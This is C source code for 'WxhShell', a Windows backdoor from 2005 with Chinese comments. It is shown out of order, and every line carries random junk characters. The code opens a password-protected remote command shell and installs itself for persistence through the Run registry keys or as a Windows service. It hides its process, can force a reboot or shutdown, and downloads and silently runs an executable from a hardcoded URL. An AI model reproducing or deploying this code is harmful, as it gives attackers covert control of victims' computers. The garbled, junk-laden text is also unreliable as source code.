    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -ysNo4#e&  
    if(Boot(SHUTDOWN)) d BB?A~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L+G0/G}O\  
    else { 842v^ 2  
    closesocket(wsh); TgjjwcO Y  
    ExitThread(0); k={1zl ;  
    } c*B< - l<5  
    break; w0;4O)H$O  
    } x2t&Wpvt  
  // 获取shell L754odc  
  case 's': { Csy$1;"A  
    CmdShell(wsh); xTu J~$(  
    closesocket(wsh); b-/QZvg  
    ExitThread(0); pYzop4  
    break; ML'y`S  
  } 4Cu\|"5)  
  // 退出 C{$iuus0  
  case 'x': { R~iv%+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J*b Je"8  
    CloseIt(wsh); Z[w}PN,xV  
    break; Wk7E&?-:6  
    } i$%Bo/Y   
  // 离开 ;G}  
  case 'q': { {H(l"KuL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pTi7Xy!Cw  
    closesocket(wsh); OnE%D|Tq=  
    WSACleanup(); n_; s2,2r  
    exit(1); >U`G3(#7S  
    break; pl3ap(/  
        } B(1-u!pz  
  } \~A qA!)6  
  } s !?uLSEdb  
ssLswb  
  // 提示信息 XxMZU(5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gIz!~I_U  
} 3 e'6A^#  
  } o$</At  
kd!?N  
  return; FHU6o910  
} [5~mP`He  
(o IGp  
// shell模块句柄 1N(1h D  
int CmdShell(SOCKET sock) :p}8#rb  
{ BZ:tVfg.  
STARTUPINFO si; xrvM}Il  
ZeroMemory(&si,sizeof(si)); R`c[ ?U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ko[w#j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e^\e;>Dh>  
PROCESS_INFORMATION ProcessInfo; l~;>KjZg  
char cmdline[]="cmd"; ]87BP%G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e1-tpD:J  
  return 0; SC~k4&xy  
} ecs 0iW-,  
3:nBl?G<  
// 自身启动模式 9r]|P}yuS  
int StartFromService(void) a)ry}E =f  
{ ErNYiYLi]  
typedef struct 4{kH;~ z$  
{ ?'P}ZC8P  
  DWORD ExitStatus; ??p%_{QY~b  
  DWORD PebBaseAddress; ,J|,wNDU!K  
  DWORD AffinityMask; 0uDDaFS  
  DWORD BasePriority; o0C&ol_  
  ULONG UniqueProcessId; ~I5hV}ZT  
  ULONG InheritedFromUniqueProcessId; RN(I}]]a  
}   PROCESS_BASIC_INFORMATION; 0mSP  
A! bG2{r  
PROCNTQSIP NtQueryInformationProcess; 2g{tzR_j  
X-HE9PT.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }aRib{L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xW`y7Q}p  
Vbl-Ff  
  HANDLE             hProcess; v~Q'm1!O4\  
  PROCESS_BASIC_INFORMATION pbi; C")genMH  
~'_cBJ 'XD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o]oiJvOr  
  if(NULL == hInst ) return 0; 06pvI}   
>lRZvf-i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X@`a_XAfd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /g<Oh{o8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g5B TZZ  
ZUQ _u  
  if (!NtQueryInformationProcess) return 0; ~w>h#{RB  
, Z"<-%3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r9 @=d  
  if(!hProcess) return 0; dgw.OXa  
Ym6d'd<9(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q?(] Y*  
3%Y:+%VE  
  CloseHandle(hProcess); v=N?(6T  
A8Ju+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ha@; Sz<R  
if(hProcess==NULL) return 0; P"w\hF  
7{|QkTgC  
HMODULE hMod; Op'a=4x]  
char procName[255]; $`F9e5}G  
unsigned long cbNeeded; Pv'Q3O2<I  
USBQEt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ote,`h  
jo`ZuN{  
  CloseHandle(hProcess); PXb$]HV  
c5YPV"X  
if(strstr(procName,"services")) return 1; // 以服务启动 W7>2&$  
E#k{<LYI  
  return 0; // 注册表启动 OR <+y~Rv  
} '.mepxf< f  
XIW0Z C   
// 主模块 x;/LOa{LR  
int StartWxhshell(LPSTR lpCmdLine) >@YefNX6  
{ ,EB}IG ]  
  SOCKET wsl; H71sxek3  
BOOL val=TRUE; P-@MLIC{  
  int port=0; cl4E6\?z  
  struct sockaddr_in door; j6rNt|  
+hxG!o?O  
  if(wscfg.ws_autoins) Install(); d#ir=+o{h  
gYKz,$  
port=atoi(lpCmdLine); O*EV~ {K  
PVCoXOqh  
if(port<=0) port=wscfg.ws_port; P6:C/B  
)kD/ 8  
  WSADATA data; isQ(O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )Z}AhX  
9j,g&G.K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GtA`0B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +EETo):  
  door.sin_family = AF_INET; 8t-GsjHb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]R__$fl`8  
  door.sin_port = htons(port); +&EXTZ@o  
M+/xw8}a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -3I3 X  
closesocket(wsl); aB9!}3@  
return 1; rO1!h%&o"  
} [M?2axOC  
V$^jlWdR  
  if(listen(wsl,2) == INVALID_SOCKET) { %,$n^{v  
closesocket(wsl); XX6Z|Y5.  
return 1; 8%?y)K^ D  
} \@LTXH.  
  Wxhshell(wsl); uV/5f#)  
  WSACleanup(); qQ&uU7,#  
VtreOJ+  
return 0; ' W/M>!X  
PnlI {d  
} .L'w/"O  
\ mqx '  
// 以NT服务方式启动 E-e(K8R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {Kz,_bo  
{ e#eVc'=cDR  
DWORD   status = 0; !40>LpL[  
  DWORD   specificError = 0xfffffff; d[ N1zQW  
gEA SYIQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  >@ t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F MfpjuHk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wboh2:TH:  
  serviceStatus.dwWin32ExitCode     = 0; ZykMri3bi  
  serviceStatus.dwServiceSpecificExitCode = 0; vW63j't_  
  serviceStatus.dwCheckPoint       = 0; }[*'  
  serviceStatus.dwWaitHint       = 0; D28`?B9 (  
Ic& h8vSU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D7Q+w  
  if (hServiceStatusHandle==0) return; 9 _d2u#  
xo:kT)  
status = GetLastError(); 6|TSH$w_  
  if (status!=NO_ERROR) }Q7y tE  
{ 3Ob.OwA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9g92eKS  
    serviceStatus.dwCheckPoint       = 0; u8e_Lqx?  
    serviceStatus.dwWaitHint       = 0; GkIE;7#2kX  
    serviceStatus.dwWin32ExitCode     = status; n,la<N]  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4<s.|W`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y(A' *G9  
    return; @@EI=\  
  } t [QD#;  
>r.]a`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %!|w(Povq  
  serviceStatus.dwCheckPoint       = 0; ?ukw6T  
  serviceStatus.dwWaitHint       = 0; S_}`'Z )  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :<% bAn  
} >rG>Bz^Pu  
yNu_>!Cp5  
// 处理NT服务事件,比如:启动、停止 18g_v"6o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Cu"Cpt[  
{ GAGS-G#  
switch(fdwControl) 0D-`>_  
{ m 2H4V+M+  
case SERVICE_CONTROL_STOP: sXKkZ+2q  
  serviceStatus.dwWin32ExitCode = 0; xm'9n?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5>532X(0  
  serviceStatus.dwCheckPoint   = 0; nhI+xqfn  
  serviceStatus.dwWaitHint     = 0; Vns3859$8  
  { K!|eN_1A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lFBdiIw  
  } Hxu5Dx5![  
  return; 5=>1>HYM  
case SERVICE_CONTROL_PAUSE: dBWny&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s.3"2waZ=T  
  break; _\!]MV  
case SERVICE_CONTROL_CONTINUE: ,GbmL8P7Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0.GFg${v`  
  break; `FHudSK  
case SERVICE_CONTROL_INTERROGATE: ldv@C6+J  
  break; )XI[hVUA  
}; .35(MFvq!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mvn- QP~"  
}  C=D*  
}~FX!F#oU  
// 标准应用程序主函数 gF6> /  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tr<~:&H4T  
{ ]xC56se  
hA=uoe\  
// 获取操作系统版本 js$R^P  
OsIsNt=GetOsVer(); (* -wiL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FW]tDGJOw  
'|}A /`  
  // 从命令行安装 )e(<YST  
  if(strpbrk(lpCmdLine,"iI")) Install(); wMa8HeBE\  
F)3+IuY  
  // 下载执行文件 +VwQ=[y]  
if(wscfg.ws_downexe) { {!,K[QwcI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E'iE#He  
  WinExec(wscfg.ws_filenam,SW_HIDE); qs4jUm  
} !gh8 Qs  
v^"\e&XL  
if(!OsIsNt) { /t5)&  
// 如果时win9x,隐藏进程并且设置为注册表启动 ax@H^Gj@2  
HideProc(); >ohCz@~  
StartWxhshell(lpCmdLine); 5F kdGF  
} IjI'Hx  
else 6w.E Sm  
  if(StartFromService()) wt($trJ  
  // 以服务方式启动 `_/bg(E  
  StartServiceCtrlDispatcher(DispatchTable); 2D 4,#X  
else SYJO3cY  
  // 普通方式启动 Xv1vq -cM  
  StartWxhshell(lpCmdLine); WJ{Iv] }9  
~yv7[`+Tgg  
return 0; @9/I^Zk  
} Ak[X`e T  
\`Hp/D1  
G`!x+FB  
*g5bdQ:Av~  
=========================================== hHJiGVJ=V  
j6%W+;{/pj  
5|*{~O|  
^'QO!{7f  
<G pji5f2  
T//xxH]w-  
" qbyYNlXqm  
p)biOG  
#include <stdio.h> l!ow\ZuQBF  
#include <string.h> v[L+PD U  
#include <windows.h> TdFU,  
#include <winsock2.h> I`_2Q:r  
#include <winsvc.h> l";Yw]:^  
#include <urlmon.h> KL \>-  
k>&cHCS`*  
#pragma comment (lib, "Ws2_32.lib") o z*;q]  
#pragma comment (lib, "urlmon.lib") aM5]cc%  
@i ~A7L0/  
#define MAX_USER   100 // 最大客户端连接数 `v -[&  
#define BUF_SOCK   200 // sock buffer nJI2IPZ  
#define KEY_BUFF   255 // 输入 buffer b<FE   
4,y7a=qf3  
#define REBOOT     0   // 重启 !Yof%%m$;  
#define SHUTDOWN   1   // 关机 &S4*x|-C&  
] SJ#:7  
#define DEF_PORT   5000 // 监听端口 } =OE.cf@  
y:)^*2GA-B  
#define REG_LEN     16   // 注册表键长度 ]I|(/+}M  
#define SVC_LEN     80   // NT服务名长度 sVx}(J  
HH*y$  
// 从dll定义API ^J]&($-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k`5I"-e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Avw=*ZW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 96w2qgc2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A8f.h5~9  
<AU*lLZ  
// wxhshell配置信息 W ^'|{9&m  
struct WSCFG { JQ?`l)4  
  int ws_port;         // 监听端口 &tH?m;V  
  char ws_passstr[REG_LEN]; // 口令 Qvp"gut)%X  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~,/@]6S&Y  
  char ws_regname[REG_LEN]; // 注册表键名 :)1"yo\  
  char ws_svcname[REG_LEN]; // 服务名 [wQ48\^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sD3ZZcy|=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z3]I^i FI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /\%<VBx ?q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '3S~QN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6]v}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %:aXEjm@  
?%5VaxWJ  
}; b`X''6  
z>W:+W"o  
// default Wxhshell configuration >._d2.Q'  
struct WSCFG wscfg={DEF_PORT, lp}S'^ y  
    "xuhuanlingzhe", N,TV?Q5l7  
    1, ,4'gj0  
    "Wxhshell", c`<2&ke  
    "Wxhshell", PCl5,]B}  
            "WxhShell Service", O|H:  
    "Wrsky Windows CmdShell Service", r,;ca6>5H  
    "Please Input Your Password: ", ILm +o$o ~  
  1, V|u2(*  
  "http://www.wrsky.com/wxhshell.exe", mGE!,!s}  
  "Wxhshell.exe" !Ubm 586!  
    }; 2iNLm6"  
%}@iz(*}>  
// 消息定义模块 Ic(qA{SM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !@& 3q|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }StzhV{GS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m]jA(  
char *msg_ws_ext="\n\rExit."; gBqDx|G  
char *msg_ws_end="\n\rQuit."; DvH-M3  
char *msg_ws_boot="\n\rReboot..."; OD)X7PU  
char *msg_ws_poff="\n\rShutdown..."; X9| Z ?jJ  
char *msg_ws_down="\n\rSave to "; vgeqH[:  
8Qg{@#Wr  
char *msg_ws_err="\n\rErr!"; SXw r$)4_  
char *msg_ws_ok="\n\rOK!"; =7V4{|ESfy  
qcs) p  
char ExeFile[MAX_PATH]; 8C{&i5kj\E  
int nUser = 0; ins(RWO  
HANDLE handles[MAX_USER]; \=0;EI-j  
int OsIsNt; QVjHGY*R  
=n,;S W  
SERVICE_STATUS       serviceStatus; c+l1 l0BA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KZ2[.[(Ph  
PMP{|yEx"  
// 函数声明 9p8ajlYg,  
int Install(void); XH%pV  
int Uninstall(void); o(ow{S@=4  
int DownloadFile(char *sURL, SOCKET wsh); i~Tt\UA>  
int Boot(int flag);  J#` 7!  
void HideProc(void); |*?N#0s5h  
int GetOsVer(void); d~8U1}dP  
int Wxhshell(SOCKET wsl); })O S2F  
void TalkWithClient(void *cs); M !6Fnj  
int CmdShell(SOCKET sock); Fizrsr 6%  
int StartFromService(void); br=e+]C Y)  
int StartWxhshell(LPSTR lpCmdLine); a[hF2/*  
uUfw"*D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )>M L7y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l-w4E"n3  
$tu   
// 数据结构和表定义 Vu(NP\Wm  
SERVICE_TABLE_ENTRY DispatchTable[] =  Z`*V9  
{ ZJ{DW4#t  
{wscfg.ws_svcname, NTServiceMain}, bZ_&AfcB  
{NULL, NULL} 4&NB xe  
}; \y7?w*K  
Qb@j8Xa4[  
// 自我安装 ZTTA??}Y  
int Install(void) W^elzN(  
{ d*+}_EV)Y3  
  char svExeFile[MAX_PATH]; 8nI~iN?"   
  HKEY key; .g/!u(iy  
  strcpy(svExeFile,ExeFile); J.rS@Z`~7  
_A]jiPq  
// 如果是win9x系统,修改注册表设为自启动  5V<6_o  
if(!OsIsNt) { w8D8\`i!"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8!v|`Ky  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DQhHU1  
  RegCloseKey(key); m@nGXl'!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d '2JMdbc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (NUXK  
  RegCloseKey(key); >kAJS??  
  return 0; #~j$J  
    } ,dba:D= l  
  } C|}yE ;*a  
} w+rw<,u%  
else { ~b8.]Z^  
=SJ[)|  
// 如果是NT以上系统,安装为系统服务 p,WBF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :8n?G  
if (schSCManager!=0) :x q^T  
{ ~i^,Z&X:  
  SC_HANDLE schService = CreateService D vEII'-h  
  ( j5Yli6r?3-  
  schSCManager, KI<x`b  
  wscfg.ws_svcname, z=k*D^X  
  wscfg.ws_svcdisp, qyyLU@hd  
  SERVICE_ALL_ACCESS, M]\"]H?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &m(eMX0lU  
  SERVICE_AUTO_START, Rpcnpo  
  SERVICE_ERROR_NORMAL, 'H1"z!]  
  svExeFile, ,^xsdqpe  
  NULL, YVY(uq)d  
  NULL, b(ryk./ogx  
  NULL, _}Gs9sHr0K  
  NULL,  4z|Yfvq  
  NULL 1?+)T%"  
  ); '.&,.E&{$  
  if (schService!=0) '9wD+'c=A  
  { D/{Spw@  
  CloseServiceHandle(schService); /=OSGIJzm  
  CloseServiceHandle(schSCManager); U|h@Pw z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yC=vTzzp  
  strcat(svExeFile,wscfg.ws_svcname); 8&f"")m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6 ud<B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~w%Z Bp  
  RegCloseKey(key); _jb"@TY  
  return 0; bOmM~pD  
    } PZA;10z  
  } =09j1:''<d  
  CloseServiceHandle(schSCManager); 7e#|=e *I!  
} Mz{ Rh+gS  
} tbv6-) Hs  
/[#{#:lo2  
return 1; 4_I,wG@  
} /0YNB)  
KF-gcRh  
// 自我卸载 yM D* >8/  
int Uninstall(void) ?y45#Tk]  
{ !%M-w0vC9  
  HKEY key; 3x9C]  
6nSk,yE'hE  
if(!OsIsNt) { 3S2'JOTY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +[ }]a3)  
  RegDeleteValue(key,wscfg.ws_regname); ^9b `;}).  
  RegCloseKey(key); n _ez6{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?h3Ow`1G  
  RegDeleteValue(key,wscfg.ws_regname); sBu"$ "]  
  RegCloseKey(key); FW.dHvNX  
  return 0; &{=~)>h  
  } m[7:p{  
} 0 De M  
} &lS0"`J=  
else { n*6s]iG V  
-5 W0K}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (Mm{"J3uv  
if (schSCManager!=0) cnPX vD^kY  
{ !^fJAtCN]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XP^6*}H.*  
  if (schService!=0) 1=a}{)0h  
  { omA*XXUx=8  
  if(DeleteService(schService)!=0) { .XB] X  
  CloseServiceHandle(schService); 9c7 }-Go  
  CloseServiceHandle(schSCManager); Wkk Nyg,  
  return 0; bv4cw#5z$9  
  } Z =c@Gd  
  CloseServiceHandle(schService); r"[T9  
  } `k| nf9_  
  CloseServiceHandle(schSCManager); .>'Z9.Xnk  
} dJ^`9W  
} 19u? ^w  
.am*d|&+G  
return 1; ui{_w @o  
} *n'x S L  
qi2dTB  
// 从指定url下载文件 RGLA}|  
int DownloadFile(char *sURL, SOCKET wsh) Wd5t,8*8  
{ %$x FnGb  
  HRESULT hr; G]1pGA;  
char seps[]= "/"; //@=Q!MW  
char *token; ~\G3 l,4  
char *file; /,UkT*+>!  
char myURL[MAX_PATH]; &zcj U+n  
char myFILE[MAX_PATH]; ACYn87tq  
\pGO}{3 e*  
strcpy(myURL,sURL); LeyDs>! 0  
  token=strtok(myURL,seps); UYOn p7R<  
  while(token!=NULL) c7IR06E  
  { Rk[ * p  
    file=token; l5ds`uR#  
  token=strtok(NULL,seps); Gnt!!1_8L  
  } n^02@Aw  
30E v"  
GetCurrentDirectory(MAX_PATH,myFILE); kG$8E  
strcat(myFILE, "\\"); !@Lc/'w  
strcat(myFILE, file); %:?QE ;  
  send(wsh,myFILE,strlen(myFILE),0); SqF.DB~  
send(wsh,"...",3,0); iBC>w+t14  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !F#aodM1N  
  if(hr==S_OK) +|YZEC  
return 0; a BH1J]_  
else (x0*(*A}  
return 1; ~"2@A F  
E2H<{Q   
} ;OU>AnWr(&  
s[@>uP  
// 系统电源模块 ?lN8~Ze  
int Boot(int flag) E0^%|Mh]b  
{ fR%1FXpK&  
  HANDLE hToken; Y*cJ4hQ  
  TOKEN_PRIVILEGES tkp; e)dWa'2<  
tlLn  
  if(OsIsNt) { Z WRRh^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6*aa[,>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xTFrrmxOf  
    tkp.PrivilegeCount = 1; Df:7P>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kefv=n*]l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~gWd63%8x  
if(flag==REBOOT) { 6eYf2sZ;J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @ PoFxv  
  return 0; ViwpyC'v  
} I,4-  
else { -F+P;S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WCmNibj  
  return 0; 4!~ .6cp3  
} Ryba[Fz4Di  
  } VMZ]n%XRXW  
  else { G</I%qM  
if(flag==REBOOT) { SAG` ^t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f UF;SqT  
  return 0; EhIV(q9x  
} iQ|,&K0d]  
else { yI.}3y{^5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,d>X/kd|o  
  return 0; $TA6S+  
} p37zz4  
} O/Y\ps3r  
v-;XyVx  
return 1; rI<nUy P?  
} juCG?}di;  
iL0jpa<}  
// win9x进程隐藏模块 Q\27\2  
void HideProc(void) 1J-Qh<Q   
{ L`jB)wF /J  
xA&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^$=tcoQG  
  if ( hKernel != NULL ) -OrY{^F  
  { ntj`+7mw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /i{tS`[F2a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :vYt Mp  
    FreeLibrary(hKernel); h"u<E\g  
  } }{&l n  
qukjS#>+  
return; 0~+NB-L}  
} /`+Hw dk  
Ig1lol:;  
// 获取操作系统版本 @PPR$4  
int GetOsVer(void) ]~ !X iCqu  
{ HQ^9 [HN.  
  OSVERSIONINFO winfo; oe(9mYWKa6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~LawF_]6  
  GetVersionEx(&winfo); zBk_-'z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hva2j<h  
  return 1; 8pYyG |\  
  else cT-K@dg  
  return 0; M`0(!Q}  
} F+ffl^BQ  
8yE!7$Mj  
// 客户端句柄模块 ^Sy^+=wK3  
int Wxhshell(SOCKET wsl) t|;%DA)fjw  
{ H1` rM^,%A  
  SOCKET wsh; w$gS j/  
  struct sockaddr_in client; {]&R8?%  
  DWORD myID; pO"m~mpA  
p QluGIX0V  
  while(nUser<MAX_USER) h ZoC _\  
{ W`#gpi)7N  
  int nSize=sizeof(client); c}\ ' x5:o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jEUx q%BH  
  if(wsh==INVALID_SOCKET) return 1; <z^SZ~G  
+x(YG(5\w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gf+o1\5t@  
if(handles[nUser]==0) D899gGe  
  closesocket(wsh); 6hZ.{8e0  
else T`uDlo  
  nUser++; Y|mW.  
  } I$n+DwKcN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i wUv`>l&  
SGt5~T xj  
  return 0; Q\H_t)-  
} JlUb0{8PE  
veV_be{i  
// 关闭 socket =tq1ogE  
void CloseIt(SOCKET wsh) 6_WmCtvF  
{ 7m\vRMK  
closesocket(wsh); <P- $RX  
nUser--; >E, Q  
ExitThread(0); (i\)|c/a7  
} xWDR72 6  
> V8sm/M  
// 客户端请求句柄 {#N%Bq}  
void TalkWithClient(void *cs) WVOoHH  
{ [P{a_(  
m~;B:LN<  
  SOCKET wsh=(SOCKET)cs; Apmw6cc  
  char pwd[SVC_LEN]; SyAo, )j  
  char cmd[KEY_BUFF]; ;`+`#h3-V  
char chr[1]; E:)Cp  
int i,j; #BsW  
Fwb5u!_,  
  while (nUser < MAX_USER) { p-xd k|'[  
q4/909x=  
if(wscfg.ws_passstr) { tF^g<)S;t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >k;p.Pay%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hCAZ{+`z  
  //ZeroMemory(pwd,KEY_BUFF); NO2(vE  
      i=0; Lc|{aN  
  while(i<SVC_LEN) { |NJ}F@t/5  
w^Ag]HZN  
  // 设置超时 QD$Gw-U-l=  
  fd_set FdRead; b# u8\H  
  struct timeval TimeOut; 'OD) v  
  FD_ZERO(&FdRead); rEM#D]k  
  FD_SET(wsh,&FdRead); H:Y&OZ  
  TimeOut.tv_sec=8; 9 I{/zKq  
  TimeOut.tv_usec=0; ezUQ> e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UFw](%=&M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,EI:gLH  
D"^'.DL@wG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y3JMbl[S0  
  pwd=chr[0]; T<yb#ak  
  if(chr[0]==0xd || chr[0]==0xa) { 4x=(Zw_X  
  pwd=0; X#`dWNrN  
  break; G\kpUdj}  
  } TH:W#Ot  
  i++; <cj{Qk  
    } hqDqt"dKz  
=wrP:wYF  
  // 如果是非法用户,关闭 socket 5FOqv=6S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a <wL#Id  
} nB] Ia?  
:kG)sw7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WD.U"YI8y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pW|u P8#  
;dZMa]X0  
while(1) { BJy;-(JP  
e;(  
  ZeroMemory(cmd,KEY_BUFF); U>Gg0`>  
76@qHTh }  
      // 自动支持客户端 telnet标准   n>FY?  
  j=0; i zwUS!5e  
  while(j<KEY_BUFF) { @ D[`Oj)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /.Q4~Hw%}  
  cmd[j]=chr[0]; |5MbAqjzC  
  if(chr[0]==0xa || chr[0]==0xd) { 7x k|+!  
  cmd[j]=0; fY W|p<Q0  
  break; |He=LQ }0  
  } T?wzwGp-[  
  j++; tSHFm-q`  
    } {' 5qv@3  
g0&\l}&%U  
  // 下载文件 5v _P Oq  
  if(strstr(cmd,"http://")) { $>q@SJ1q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QG3&p<  
  if(DownloadFile(cmd,wsh)) 5?u}#zO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n}nEcXb  
  else C+N k"l9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;[ 'a  
  } fiDl8=~@  
